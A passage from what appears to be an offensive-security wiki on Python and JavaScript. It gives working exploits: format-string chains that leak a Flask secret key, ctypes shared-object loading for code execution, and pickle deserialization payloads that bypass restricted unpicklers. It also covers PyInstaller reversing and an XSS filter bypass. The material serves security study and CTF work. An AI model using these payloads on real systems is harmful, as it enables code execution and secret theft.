uid=1001(user) gid=1001(user) groups=1001(user)
</code></pre>

Note that it gives an error when you provide a string that is not a Python object like `help("anything")` instead of `help("str")`.

```python
# Works
>>> help("str")      # gives "str" documentation
>>> help(1)          # interpreted as "int"
# Doesn't work
>>> help("anything") # Error: "anything" not recognized
>>> help(1, 2)       # Error: too many arguments
```

### Format strings

There are 2 main ways of formatting strings in Python. ["f-strings" (PEP 498)](https://peps.python.org/pep-0498/) are written as `f"text {variable}"` and inside these curly brackets, allow arbitrary code to be evaluated. These can only be written in source code, however, not generated at runtime.

Another kind is using the [`str.format()` method](https://docs.python.org/3/library/stdtypes.html#str.format), which does allow generating a template at runtime, but is limited in its allowed syntax. Inside the `{...}` expressions, you are only allowed to access attributes with `.` or `[key]` for dictionary/array indexes:

```python
"{obj.attr[key].other_attr[0]}".format(obj=obj)
```

With a combination of `__` properties you may be able to access **global variables** from a `class` instance that is given as context. For example, to read a `SECRET_KEY` in Flask:

<pre class="language-python" data-title="Vulnerable Example"><code class="lang-python">from flask import Flask, request

app = Flask(__name__)
<strong>app.config["SECRET_KEY"] = "secret"
</strong>
class User:
    def __init__(self, name):
        self.name = name

@app.route("/")
def index():
    template = request.args.get("template", "")
<strong>    return template.format(user=User("Jorian"))
</strong>
app.run()
</code></pre>

Normally, you would read the name here via `{user.name}`. But using `user.__init__`, we can start to get the `__init__` method defined in this module. From there, `.__globals__` gives a dictionary of all global variables from which we can pick `[app]`. Now it's as simple as reading `.config[SECRET_KEY]` to return the value we want:

{% code title="Exploit URL" %}

```python
/?template={user.__init__.__globals__[app].config[SECRET_KEY]}
```

{% endcode %}

{% hint style="info" %}
**Side note**: In some scenarios you can also *set* properties, in this case `__` properties allow you to *set global variables*:

{% embed url="<https://blog.abdulrah33m.com/prototype-pollution-in-python/>" %}
{% endhint %}

***

Another technique only involving *attribute access* is **loading a ctypes module**. Strangely enough, a `__getitem__` method in the `ctypes` module loads the key we give it from the filesystem as a Shared Object (see [Command Exploitation](/linux/linux-privilege-escalation/command-exploitation#usdld_preload-and-usdld_library_path) for creating one). This allows arbitrary code execution if you can write such a valid ELF file anywhere on the target system, the file extension *doesn't matter*.

{% embed url="<https://github.com/TheRomanXpl0it/TRX-CTF-2026/tree/main/web/pixel-vault/writeup>" %}
Writeup involving format string to RCE using ctypes module loading + image/ELF polyglot
{% endembed %}

From the `__globals__`, we can access imported module items such as `Flask`. These themselves import modules and have other properties that can often be chained to reach `ctypes`, even if not imported by the app itself directly. In the above example, we can access the following to load a module from `ctypes.cdll` at an arbitrary path:

{% code title="Setup" %}

```bash
echo -e '#include <stdlib.h>\nvoid _init() { system("id>/tmp/pwned"); }' > payload.c
gcc -fPIC -shared -nostartfiles -o /tmp/payload.so payload.c
# Optional: remove permissions and file extension
chmod -x /tmp/payload.so && mv /tmp/payload.{so,png}
```

{% endcode %}

{% code title="Exploit URL" overflow="wrap" %}

```python
{user.__init__.__globals__[Flask].__call__.__globals__[sys].modules[ctypes].cdll[/tmp/payload.so]}
```

{% endcode %}

<details>

<summary>Brute-Force script for finding <code>ctypes</code> module (BFS)</summary>

Similar to [#blacklist-bypass](#blacklist-bypass "mention"), we can recursively look through all Python properties/dictionary keys (global modules) to find if any of them leads to `ctypes`:

```python
from flask import Flask  # source
import ctypes            # sink

def path_string(root, path):
    result = root
    for key, is_dict in path:
        result += f'[{key}]' if is_dict else f'.{key}'

    return result

def search(root, target):
    checked = []
    queue = [(eval(root), [])]

    while queue:
        obj, path = queue.pop(0)

        is_dict = isinstance(obj, dict)
        if type(obj) == str:
            continue

        objs = obj.keys() if is_dict else dir(obj)

        for key in objs:
            try:
                value = obj[key] if is_dict else getattr(obj, key)
            except (TypeError, AttributeError, KeyError):
                continue

            unique = repr(value).split('at 0x')[0]

            if unique in checked:
                continue

            new_path = path + [(key, is_dict)]

            if value == target:
                return path_string(root, new_path)

            checked.append(unique)
            queue.append((value, new_path))

print(search("Flask", ctypes))
# Flask.__call__.__globals__[sys].modules[ctypes]
```

</details>

## PyInstaller Reversing

[PyInstaller](https://pyinstaller.org/en/stable/) can create executable and shareable files from Python scripts, like Windows `.exe` files or Linux ELF files. It can also be used for malware where an attacker creates a malicious Python script and compiles it to an executable they can plant somewhere with PyInstaller. That is why Reversing such a file can be very useful, and it turns out the full source code can almost flawlessly be decompiled from such a file.

First, you will want to extract the data from the PyInstaller executable. This can be done very easily using pyinstxtractor.

{% embed url="<https://github.com/extremecoders-re/pyinstxtractor>" %}
A tool to extract contents of a PyInstaller executable
{% endembed %}

As the above repository shows in the [example](https://github.com/extremecoders-re/pyinstxtractor#example), the script generates a `[name]_extracted` folder with `.pyc` files. Among these files will be all the modules, and the main script. You will often have to guess what file is the main script, but the tool will also give "Possible entry points".

These `.pyc` files are the compiled Python bytecode, which is not human-readable. For that, we can use [uncompyle6](https://github.com/rocky/python-uncompyle6/) or [pycdc](https://github.com/zrax/pycdc) to decompile this bytecode into close to the original source code.

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ python3 pyinstxtractor.py example.exe
</strong>[+] Processing dist/example.exe
[+] Pyinstaller version: 2.1+
[+] Python version: 36
[+] Length of package: 5612452 bytes
[+] Found 59 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: example.pyc
[+] Found 133 files in PYZ archive
[+] Successfully extracted pyinstaller archive: dist/example.exe

<strong>$ uncompyle6 example.exe_extracted/example.pyc > example.py  # .pyc name might differ
</strong>
<strong>$ pycdc example.exe_extracted/example.pyc > example.py  # For newer Python versions
</strong></code></pre>

For files that aren't private, you can use the current best decompiler using a neural network. It is hosted online, where you should upload the `.pyc` files:

{% embed url="<https://pylingual.io/>" %}
Best online decompiler without errors
{% endembed %}

Then you can look at the created `.py` file to review all the source code.

### Dynamic: Library Hijacking

This idea came from a combination of [this writeup](https://devilinside.me/blogs/unpacking-pyarmor) about PyArmor, and my own experiments.

If the code after decompiling still looks unreadable, it may be protected with an obfuscator or "packer". These try to make it *harder* to deobfuscate, but with some tricks, we can perform dynamic analysis to recover the code and steps after it has been decrypted at runtime.

You should be able to run the `example.pyc` file with `python` like you normally would, because it's simply the already-compiled version. If you get any errors involving **missing** `.so` **files**, a simple solution is to just run it with `LD_LIBRARY_PATH=.` as they should be in the \_extracted directory.

> ImportError: `libffi.so.6`: cannot open shared object file: No such file or directory

<pre class="language-shellscript"><code class="lang-shellscript">cd armored.exe_extracted
<strong>LD_LIBRARY_PATH=. python3.6 armored.pyc
</strong></code></pre>

Note the specific Python version here, as the *magic number* might not line up with your default version. Just use `apt` to install the version and possibly `-distutils` of it too when using `pip`.

Then after this, there still might be errors involving **Python imports** which should normally be included in the binary. To get these back as `.pyc` files, they are simply located in the\
`PYZ-00.pyz_extracted` folder that was also created by `pyinstxtractor`. A simple solution is to **copy these files next to your main file**:

<pre class="language-shellscript"><code class="lang-shellscript"><strong>cp -r PYZ-00.pyz_extracted/* .
</strong>LD_LIBRARY_PATH=. python3.6 armored.pyc
</code></pre>

This should get the binary running like normal, with the big change being that it is in its unpacked form, where we can see all the libraries. This allows us to **hijack libraries** by changing their code. After doing so, the mysterious main code will load our library, from which we can extract information about the calling code at runtime!\
Take any library that you know the code imports, which may be one from the `ImportError`s we got above. We will backup the original code, and replace it with our own:

{% code title="psutil.py" %}

```python
print("Hello from psutil")
```

{% endcode %}

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ mv psutil/ psutil.bak/
</strong>$ LD_LIBRARY_PATH=. python3.6 armored.pyc
Hello from psutil
</code></pre>

It works! Now for the final step, we can use the `inspect` module to view the call stack and find out what code called us. This code object can be disassembled to understand the bytecode:

<pre class="language-python" data-title="psutil.py"><code class="lang-python">import inspect

<strong>for frameinfo in inspect.stack():
</strong>    print(frameinfo)
</code></pre>

Here, choose a frame that makes sense and looks like it should be the main code. In my case, the last `[-1]` frame was the obfuscated code still, but the frame before that `[-2]` was decrypted.

<pre class="language-python" data-title="psutil.py"><code class="lang-python">import inspect
import dis

<strong>frame = inspect.stack()[-2].frame
</strong>print(frame)

<strong>codeobject = frame.f_code
</strong>print(codeobject)

<strong>dis.dis(codeobject)  # Disassemble the bytecode in codeobject to STDOUT
</strong></code></pre>

To go one step further, we can even forge our own `.pyc` file from the codeobject, allowing decompilers like `uncompyle6` or `pycdc` to make readable source code from it:

<pre class="language-python"><code class="lang-python">import marshal

with open("extracted.pyc", "wb") as f:
<strong>    f.write(imp.get_magic())  # Correct magic number for uncompyle6
</strong>    f.write(b"\x00" * 8)
    if sys.version_info[1] >= 7:  # Extra 4 bytes in Python 3.7+
        f.write(b"\x00" * 4)

    # Write the code object
<strong>    f.write(marshal.dumps(frame.f_code))
</strong></code></pre>

```bash
uncompyle6 extracted.pyc
```

{% hint style="warning" %}
**Note**: This trick did not work in my case, as I received strange `AssertionError`s in `format_RAISE_VARARGS_older`, but it may work for you
{% endhint %}

### Decompiling `co_code` bytecode

All functions, classes, modules etc. in Python have a `__code__` attribute, which holds information about its code. This is not directly source code, but *bytecode*, being the optimized form that the interpreter sees without having to deal with different whitespace or variable names.

Using `dis.dis()` on such an object, the disassembled bytecode is printed in a readable form. The `<class 'code'>` has several parts, one of which is the raw bytecode in `co_code`. This can also be disassembled with the same function, but it won't contain referenced variable names or constants. These are in `co_names`+`co_varnames` and `co_consts` respectively, and can be combined into the final readable code Python understands. Look at this example:

{% code title="Python 3.8" %}

```python
import dis

def f():  # [Mystery function]
    a = "Hello, world!"
    print(a)

print(f.__code__.co_code)    # b'd\x01}\x00t\x00|\x00\x83\x01\x01\x00d\x00S\x00'
print(f.__code__.co_names, f.__code__.co_varnames)   # ('print',) ('a',)
print(f.__code__.co_consts)  # (None, 'Hello, world!')
dis.dis(f.__code__.co_code)
#      0 LOAD_CONST               1 (1)
#      2 STORE_FAST               0 (0)
#      4 LOAD_GLOBAL              0 (0)
#      6 LOAD_FAST                0 (0)
#      8 CALL_FUNCTION            1
#     10 POP_TOP
#     12 LOAD_CONST               0 (0)
#     14 RETURN_VALUE
```

{% endcode %}

{% embed url="<https://unpyc.sourceforge.net/Opcodes.html>" %}
Page explaining most opcodes like `LOAD_CONST` with examples
{% endembed %}

From reading these attributes, we can recreate the code object from scratch and dump it into a `.pyc` file like before. Then tools like `uncompyle6` can decompile the bytecode back into source:

<pre class="language-python"><code class="lang-python"># Replace attributes of the code object from an empty function
<strong>code = (lambda: None).__code__.replace(
</strong><strong>    co_consts=f.__code__.co_consts,
</strong><strong>    co_code=f.__code__.co_code,
</strong><strong>    co_names=f.__code__.co_names,
</strong><strong>    co_varnames=f.__code__.co_varnames,
</strong><strong>    # ...
</strong><strong>    # Full list depends on version, see https://docs.python.org/3/c-api/code.html
</strong><strong>)
</strong>
with open("output.pyc", "wb") as f:
    f.write(imp.get_magic())  # Correct magic number for uncompyle6
    f.write(b"\x00" * 8)
    if sys.version_info[1] >= 7:  # Extra 4 bytes in Python 3.7+
        f.write(b"\x00" * 4)

    # Write the code object
    f.write(marshal.dumps(code))
</code></pre>

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ uncompyle6 output.pyc
</strong>a = 'Hello, world!'
print(a)
</code></pre>

## Pickle Deserialization

[Pickle](https://docs.python.org/3/library/pickle.html) is a Python module used for serializing Python objects into raw bytes. This way they can be sent over the network, or saved in a file, and then later be deserialized to get back the original Python object.

However, there is one issue: when this deserialized data can come from the user, they can create arbitrary Python objects. This results in a classic Insecure Deserialization vulnerability, leading to Remote Code Execution.

<figure><img src="/files/EIhDvLXhRNDQkj8IV39l" alt=""><figcaption><p>A warning from the official documentation explaining the danger of this module</p></figcaption></figure>

{% hint style="info" %}
*This vulnerability has a special place in my heart*, as I found it as an unintentional bug on a school assignment, and spent a lot of time and effort to try and get the most out of it. In the end, it resulted in RCE on the server, as well as on all clients that connected because the template script given was also vulnerable. You can read the whole story and learn a lot about pickle deserialization here:

{% embed url="<https://jorianwoltjer.com/blog/p/stories/getting-rce-on-a-brute-forcing-assignment>" %}
Getting RCE with pickle, in **under 40 bytes** per packet, and taking over the server to also exploit clients
{% endembed %}
{% endhint %}

The basics are that you can create a Python object that executes a **system command** when pickle turns it into an object. This is done with the special `__reduce__()` method:

```python
import pickle

class RCE:
    def __reduce__(self):
        import os
        return (os.system, ("id",))

rce = RCE()
data = pickle.dumps(rce)
print(data) # b'\x80\x04\x95\x1d\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c\x02id\x94\x85\x94R\x94.'
```

This method is called when the object is deserialized, and its return value will be what it turns into. But this return value is actually a function that will be called with the arguments provided. We can provide the function `os.system` after importing it, and as the first argument give it any command we want to run.

{% hint style="info" %}
**Tip**: Using `exec` or `eval` instead of `os.system` can allow for more control over the actions your payload takes, as you can execute arbitrary Python code at the time of deserialization. Think of things like `raise` to return a readable exception message
{% endhint %}

### Minimizing Payloads

The above is often enough, but in rare cases, you might have some restrictions on what data you can send. Maybe you need to bypass some filter or a length restriction.

#### Different Protocols

Pickle has evolved over time, with new protocols for better serializing of objects. Luckily, this protocol can be chosen by whoever creates the data, and the server deserializing it will simply recognize the protocol and switch accordingly.

This opens up the opportunity for a few different formats that might help in whatever filter you are trying to get through.

Using the `pickletools.dis(data)` function, we can disassemble the serialized data to better understand what each byte is doing:

```python
    0: \x80 PROTO      4
    2: \x95 FRAME      29
   11: \x8c SHORT_BINUNICODE 'posix'
   18: \x94 MEMOIZE    (as 0)
   19: \x8c SHORT_BINUNICODE 'system'
   27: \x94 MEMOIZE    (as 1)
   28: \x93 STACK_GLOBAL
   29: \x94 MEMOIZE    (as 2)
   30: \x8c SHORT_BINUNICODE 'id'
   34: \x94 MEMOIZE    (as 3)
   35: \x85 TUPLE1
   36: \x94 MEMOIZE    (as 4)
   37: R    REDUCE
   38: \x94 MEMOIZE    (as 5)
   39: .    STOP
```

This `PROTO` value represents the protocol used, and in the `pickle.dumps` method we can simply specify `protocol=` keyword argument to specify the protocol. This is a number between 0 and 5. Looking at all of these protocols the payload can get very different:

```python
protocol=0                         protocol=1 (shortest)               protocol=2                          protocol=3                          protocol=4 (default)
 0: c  GLOBAL   'posix system'      0: c  GLOBAL   'posix system'       0: \x80 PROTO    2                  0: \x80 PROTO    3                  0: \x80 PROTO    5
14: p  PUT      0                  14: q  BINPUT   0                    2: c    GLOBAL   'posix system'     2: c    GLOBAL   'posix system'     2: \x95 FRAME    29
17: (  MARK                        16: (  MARK                         16: q    BINPUT   0                 16: q    BINPUT   0                 11: \x8c SHORT_BINUNICODE 'posix'
18: V    UNICODE  'id'             17: X    BINUNICODE 'id'            18: X    BINUNICODE 'id'            18: X    BINUNICODE 'id'            18: \x94 MEMOIZE  (as 0)
22: p    PUT      1                24: q    BINPUT     1               25: q    BINPUT  1                  25: q    BINPUT   1                 19: \x8c SHORT_BINUNICODE 'system'
25: t    TUPLE    (MARK at 17)     26: t    TUPLE      (MARK at 16)    27: \x85 TUPLE1                     27: \x85 TUPLE1                     27: \x94 MEMOIZE  (as 1)
26: p  PUT      2                  27: q  BINPUT   2                   28: q    BINPUT  2                  28: q    BINPUT   2                 28: \x93 STACK_GLOBAL
29: R  REDUCE                      29: R  REDUCE                       30: R    REDUCE                     30: R    REDUCE                     29: \x94 MEMOIZE  (as 2)
30: p  PUT      3                  30: q  BINPUT   3                   31: q    BINPUT  3                  31: q    BINPUT   3                 30: \x8c SHORT_BINUNICODE 'id'
33: .  STOP                        32: .  STOP                         33: .    STOP                       33: .    STOP                       34: \x94 MEMOIZE  (as 3)
len(data)=34                       len(data)=33                        len(data)=34                        len(data)=34                        35: \x85 TUPLE1
                                                                                                                                               36: \x94 MEMOIZE    (as 4)
                                                                                                                                               37: R    REDUCE
                                                                                                                                               38: \x94 MEMOIZE    (as 5)
                                                                                                                                               39: .    STOP
                                                                                                                                               len(data)=40
```

In most simple cases, `protocol=1` is the shortest.

#### Replacing strings

As you might have noticed above, the `os.system` function turned into `'posix system'` for serialized data. This is what automatically happens when you serialize data using `pickle.dumps`, but it turns out there are actually multiple ways to represent this function.

I expected to see `os` instead of `posix`, so I tried simply replacing `posix` with `os`. This turned out to actually work! The deserializer will happily decode this to the correct function and still achieves RCE. By simply replacing this text in the serialized data, you can get rid of 3 characters:

```python
rce = RCE()
data = pickle.dumps(rce)
data = data.replace(b"posix", b"os")
print(data)  # b'\x80\x04\x95\x1d\x00\x00\x00\x00\x00\x00\x00\x8c\x05os\x94\x8c\x06system\x94\x93\x94\x8c\x02id\x94\x85\x94R\x94.'
```

#### Short commands

Finally, after having the shortest possible pickle data, you need a short command to receive a shell and further explore the target. In [the writeup](https://jorianwoltjer.com/blog/p/stories/getting-rce-on-a-brute-forcing-assignment#bash-tricks) linked above, I discovered my own method to slowly write a full payload to a file and execute it in a lot of commands below 12 bytes. This was enough to bypass the 40-byte packet limit that the situation had.

However, in the meantime, I found that this problem has been explored before. Orange Tsai made a challenge where you had to achieve full RCE commands of only 4 bytes each. The solution to this challenge is explained in [Shells](/linux/hacking-linux-boxes#rce-in-4-bytes). This can be applied just as easily to this injection.

### Bypassing Filters

[As explained in the documentation](https://docs.python.org/3/library/pickle.html#restricting-globals), a filter can be added to the deserialization process that restricts the objects that can be imported. This is normally possible through the [`GLOBAL`](https://github.com/python/cpython/blob/2ac1b48a044429d7a290310348b53a87b9f2033a/Lib/pickletools.py#L1926-L1939) opcode which takes a module and a class to load. This allows it to use methods from other modules and classes while deserializing, which is how it is able to deserialize any object.

As we have seen above, it allows an attacker to import dangerous modules such as `os` to run commands, or builtins like `exec` and `eval` to execute arbitrary Python code. The filter can define its own logic for importing modules and classes with an extension like the following:

<pre class="language-python" data-title="Example filter"><code class="lang-python"><strong>ALLOWED_PICKLE_MODULES = ["random", "collections"]
</strong><strong>UNSAFE_PICKLE_BUILTINS = ["eval", "exec"]
</strong>
class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if (
            # Allow anything from the 'random' or 'collections' module
<strong>            module in ALLOWED_PICKLE_MODULES
</strong>            # From 'builtins', disallow 'eval' and 'exec', allow everything else
<strong>            or module == "builtins" and name not in UNSAFE_PICKLE_BUILTINS
</strong>        ):
            return super().find_class(module, name)  # load it

        raise pickle.UnpicklingError()  # raise exception if disallowed
</code></pre>

The above rules only allow classes from the `random` module to be imported and some dangerous built-ins are blocked. While it may seem safe at first, it turns out that there are a lot of possibilities still to bypass a configuration like this. Great research into this has been done by [@splitline](https://twitter.com/_splitline_) who ended up creating a tool that compiles Python-like code into serialized pickle data because the opcodes are quite powerful and allow defining some simple logic ([also check out the talk](https://www.youtube.com/watch?v=BAt8M2D77TQ\&t=1440s)):

{% embed url="<https://github.com/splitline/Pickora>" %}
Write pickle bytecode by scripting in Python with this compiler
{% endembed %}

The most important pieces of syntax that it can turn into pickle are the following:

* Define variables with common types like `string`, `number`, `list`, `tuple` or `dict`
* Attribute assignment like `dict_['x'] = 1337`
* Function calls like `f(arg1, arg2)`
* Import modules using `from module import something` syntax
* Manually import more complex objects using `GLOBAL("module", "path.to.something")`

The next section will use the Pickora syntax to easily create pickle data, which can be compiled like so:

<pre class="language-shellscript"><code class="lang-shellscript"><strong>pickora -c 'from system import os; system("id")' -o output.pkl
</strong># or from a source file:
echo -e 'from system import os\nsystem("id")' > payload.py
<strong>pickora payload.py -o output.pkl
</strong># then test it using the pickle module:
<strong>python -m pickle output.pkl
</strong></code></pre>

#### Bypassing Filters

We will look at the example filter from above to bypass it in various general ways.\
Firstly, while the allowed `random` module does not contain directly dangerous functions, it imports some modules like `import os as _os`. This is a property path that we can include in the `GLOBAL` opcode as the name of the class, separated by `.` dots. This way we can access the `os` module like before, but through the `random` module to bypass the filter:

```python
GLOBAL("random", "_os.system")("id")
```

Secondly, there is another module allowed named `builtins`. `exec` and `eval` are blocked, but more dangerous functions exist in the module like `__import__` to import `os` again. However, we cannot just access the `.system` function on it to run a command. This is not possible in pickle opcodes. Instead, we can call the `builtins.getattr` function as it is also not blocked, with the property we want to access on the `os` module:

```python
from builtins import getattr, __import__
getattr(__import__("os"), "system")("id")
```

Thirdly, the seemingly insignificant `collections` module is also allowed to be imported from. One trick we can perform on any module is importing their `.__builtins__` attribute and calling `__getitem__` on it to recover a builtin like `eval`:

```python
eval = GLOBAL("collections", "__builtins__.__getitem__")('eval')
eval("__import__('os').system('id')")
```

Lastly, if we weren't allowed to use the `builtins` module, or the `__builtins__` attribute, we can still use any module to recover the builtins. The clever trick is to temporarily save a value as an attribute on the module using `__setattr__`, to be able to access it later with another `GLOBAL` opcode. We can then import the `__getitem__` method on such a saved object and call it to access any dictionary key which normally wouldn't be possible in pickle opcodes. This combined with `__builtins__` allows us to get back to `eval` again:

{% code title="Abuse any module" %}

```python
setattr = GLOBAL("random", "__setattr__")
# Get to <class 'object'> using any property on the module
subclasses = GLOBAL(
    "random",
    "BPF.__class__.__base__.__subclasses__"
)()
setattr("subclasses", subclasses)  # Save as attribute on the module

# Access saved variable from the module and call __getitem__ method
gadget = GLOBAL(
    "random",
    "subclasses.__getitem__"
)(103)  # Need to get any <function> type
setattr("gadget", gadget)  # Save this gadget to use later

# Get the globals and then builtins from this gadget
builtins = GLOBAL(
    "random",
    "gadget.__init__.__globals__.__getitem__"
)('__builtins__')
setattr("builtins", builtins)  # Save it for dictionary access

# Access the final object to find __getitem__ on __builtins__ and call eval
eval = GLOBAL(
    "random",
    "builtins.__getitem__"
)('eval')
eval("__import__('os').system('id')")
```

{% endcode %}

{% hint style="info" %}
**Note**: If you are able to import any *function*, you can significantly reduce the complexity of this bypass by accessing its globals and the `.get()` method, [like explained in this writeup](https://darkdrag0nite.medium.com/htb-cyber-apocalypse-2024-were-pickle-phreaks-revenge-f45933d3ee13)

```python
dict_get = GLOBAL("random", "choices.__globals__.__class__.get")
globals = GLOBAL("random", "choices.__globals__")
builtins = dict_get(globals, "__builtins__")
eval = dict_get(builtins, "eval")
eval("__import__('os').system('id')")
```

{% endhint %}

### Reverse Engineering

You might find a serialized piece of pickle data, but without source code, it may be difficult to understand what it exactly means. There are a few **plaintext strings** inside the serialized data that can give an idea of what it is about. To get a full understanding of everything some more analysis is required, but luckily there exist tools that help with this.

#### Static Analysis

The [`pickletools`](https://docs.python.org/3/library/pickletools.html) library contains useful functions for analyzing pickled data and can disassemble the opcodes to get a better understanding of the binary data:

{% code title="Source" %}

```python
with open('something.pkl', 'wb') as f:
    pickle.dump((1, 2), f)  # Pickle of (1, 2) tuple
```

{% endcode %}

<pre class="language-shellscript" data-title="CLI Disassembly"><code class="lang-shellscript"><strong>$ python3 -m pickletools something.pkl -a
</strong>    0: \x80 PROTO      4              Protocol version indicator.
    2: \x95 FRAME      7              Indicate the beginning of a new frame.
   11: K    BININT1    1              Push a one-byte unsigned integer.
   13: K    BININT1    2              Push a one-byte unsigned integer.
   15: \x86 TUPLE2                    Build a two-tuple out of the top two items on the stack.
   16: \x94 MEMOIZE    (as 0)         Store the stack top into the memo.  The stack is not popped.
   17: .    STOP                      Stop the unpickling machine.
highest protocol among opcodes = 4
</code></pre>

{% code title="From Python" %}

```python
with open('something.pkl', 'rb') as f:
    pickletools.dis(f)  # Disassemble and print to STDOUT
```

{% endcode %}

This disassembly works with pushing and popping from the **stack**. This is more clear with a nested expression like `(1, [2, 3])`:

```
11: K    BININT1    1              Push a one-byte unsigned integer.
13: ]    EMPTY_LIST                Push an empty list.
14: \x94 MEMOIZE    (as 0)         Store the stack top into the memo.  The stack is not popped.
15: (    MARK                      Push markobject onto the stack.
16: K        BININT1    2          Push a one-byte unsigned integer.
18: K        BININT1    3          Push a one-byte unsigned integer.
20: e        APPENDS    (MARK at 15) Extend a list by a slice of stack objects.
21: \x86 TUPLE2                      Build a two-tuple out of the top two items on the stack.
22: \x94 MEMOIZE    (as 1)           Store the stack top into the memo.  The stack is not popped.
```

Here, a `1` integer is pushed on the stack, then an empty list is pushed too. The numbers `2` and `3` are added to a "markobject" and at the end the list is extended by this slice. This leaves the integer `1` and the list on the top of the stack, which is turned into a tuple from the 2 topmost stack items using `TUPLE2`.

A common opcode is `MEMOIZE`, which stores the stack top in a special place for reuse later on. These can then be referenced further in the data so it does not have to be repeated.

#### Dynamic Analysis

{% hint style="warning" %}
**Warning**: As shown above, deserializing *any* pickle payload can lead to Arbitrary Code Execution, so be careful what you deserialize while reverse engineering! If you have any reason for suspicion, try it in a safe environment like a VM first.
{% endhint %}

While static analysis can give a decent idea, you can see a lot quickly when simply running the code in the pickled data. To get only the result of a deserialization, run:

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ python3 -m pickle x.pickle
</strong>(1, 2)
</code></pre>

You can play with the result if it is more complex in a Python console:

<pre class="language-python" data-overflow="wrap"><code class="lang-python"><strong>>>> import pickle
</strong><strong>>>> p = pickle.load(open("something.pkl", "rb"))
</strong>(1, 2)
<strong>>>> p[1]
</strong>2
<strong>>>> dir(p)
</strong>['__add__', '__class__', '__contains__', ..., '__subclasshook__', 'count', 'index']
</code></pre>

{% hint style="warning" %}
Some pickled data requires custom classes to be defined, which it sets properties on or initializes in other ways. These need to be defined in the context before deserializing or it will throw an error with the missing class name. if these are unknown try doing more [#static-analysis](#static-analysis "mention")
{% endhint %}

To view more of the steps involved, try following the `load()` call in a **debugger** like VSCode, which will decompile some pieces of code visually and show intermediate variables. If a pickle object requires more steps to be created, this can give a great idea of those steps.

If you find your mystery object has **functions** defined (common with machine learning models), the [`inspect.getsource()`](https://docs.python.org/3/library/inspect.html#inspect.getsource) function may be able to recreate the source code for the function in question. The more low-level [`dis.dis()`](https://docs.python.org/3/library/dis.html#dis.dis) function can give you disassembled bytecode instead.

## Debugging

The easiest way to interactively debug a Python application while having a consistent environment is using [VSCode Dev Containers](https://code.visualstudio.com/docs/devcontainers/containers). Start by pressing `Ctrl+Shift+P` and choosing **Dev Containers: Open Folder in Container...** followed by an `Enter` to select the currently-open folder.

* If your application has *no* `Dockerfile` or `docker-compose.yml`: Choose **From a predefined container configuration template...**, then select a distribution to use (Alpine is the smallest).
* If your application has only a `Dockerfile`: Manually create a simple `docker-compose.yml` to fit what ports you want open. See example below. Then follow the point below.
* If you application has a `docker-compose.yml` file: Choose **From 'docker-compose.yml'**, then press enter until you're in the Dev Container.

{% code title="docker-compose.yml" %}

```yaml
services:
  web:
    build: .
    ports:
      - "5000:5000"
```

{% endcode %}

{% hint style="success" %}
**Note**: While you can now run the application, it will run in the `/workspaces/[foldername]` directory by default. You can change this in the `.devcontainer/docker-compose.yml` that's created. Under `volumes:`, replace the path `..:/workspaces` with a `.` and the absolute path where you want the workspace to be mounted (to create the most realistic simulation). Such as:

<pre class="language-yaml"><code class="lang-yaml">    volumes:
<strong>      - .:/app:cached
</strong></code></pre>

Then run **Dev Containers: Rebuild Container** and open the new `/app` folder when it asks for the missing workspace.
{% endhint %}

The container's `CMD` has been replaced with `sleep infinity`, so you need to manually run the application now. This can either be by copying what's in the original `Dockerfile`, or simply `python main.py` in the VSCode Terminal.

{% hint style="warning" %}
**Note**: Extensions that run on the system (not completely inside VSCode's UI) will be disabled, and need to manually be enabled again in the ![](/files/UHhctU8Q5DLcKqtDs3mS) side menu. This includes common ones like **Python** for debugging/IntelliSense.
{% endhint %}

To interactively debug it with breakpoints and runtime local variables, open the main python file (eg. `main.py`) and on the ![](/files/0H1aNv3nFBm2aH6v6xov) side panel, press [**Run and Debug**](https://code.visualstudio.com/docs/debugtest/debugging).

The application should start as normal now, while allowing you to set 🔴 breakpoints on the left of each line. When the runtime reaches this point, everything will freeze and the debug side panel will show local variables and other useful information. If you right-click, there is an option to also add a *conditional breakpoint* that only freezes if some expression is true, or *logpoints* that don't freeze at all, only quickly log a value using the local variable context to the debug console.

On the bottom, a **Debug Console** also becomes available in the context of your current frozen position. You can step forward and unfreeze using the ![](/files/MqhTuIQYBlh1lq2SueAf) buttons.

In specific frameworks you can often also enable a "debug mode", such as in Flask using the `app.run(debug=True)` argument. This will reload the application whenever you make a change to the code, and provide more detailed errors.


# JavaScript

A very popular language used to create interactivity on the web, and on the backend using NodeJS

## # Related Pages

{% content-ref url="/pages/nuWbpokKOs8Usfj67ig7" %}
[Cross-Site Scripting (XSS)](/web/client-side/cross-site-scripting-xss)
{% endcontent-ref %}

{% content-ref url="/pages/XfjcRyMBT5IyybyZWd2i" %}
[NodeJS](/web/frameworks/nodejs)
{% endcontent-ref %}

{% content-ref url="/pages/XMih8LnYjI92yV4F4GLS" %}
[Prototype Pollution](/languages/javascript/prototype-pollution)
{% endcontent-ref %}

## Common Pitfalls

### String Replacement

#### `replace` vs `replaceAll`

You might be surprised to see that `replace()` doesn't actually replace all the characters it finds, only the *first* match. Instead, `replaceAll()` should be used if you want to replace *every* occurrence. This can be useful if a developer thinks they sanitized user input with this function, and tested it with only one character, while an attacker can just input one dummy character at the start that will be replaced and afterward continue with the payload unsanitized:

<pre class="language-javascript"><code class="lang-javascript"><strong>> 'AAAA'.replace('A', 'B')
</strong>'BAAA'
<strong>> 'AAAA'.replaceAll('A', 'B')
</strong>'BBBB'
// Seems "safe"
<strong>> '&#x3C;svg onload=alert()>'.replace('&#x3C;', '&#x26;lt;').replace('>', '&#x26;gt;')
</strong>'&#x26;lt;svg onload=alert()&#x26;gt;'
// Exploitable with multiple characters
<strong>> '&#x3C;>&#x3C;svg onload=alert()>'.replace('&#x3C;', '&#x26;lt;').replace('>', '&#x26;gt;')
</strong>'&#x26;lt;&#x26;gt;&#x3C;svg onload=alert()>'
</code></pre>

#### Replacement String Templates

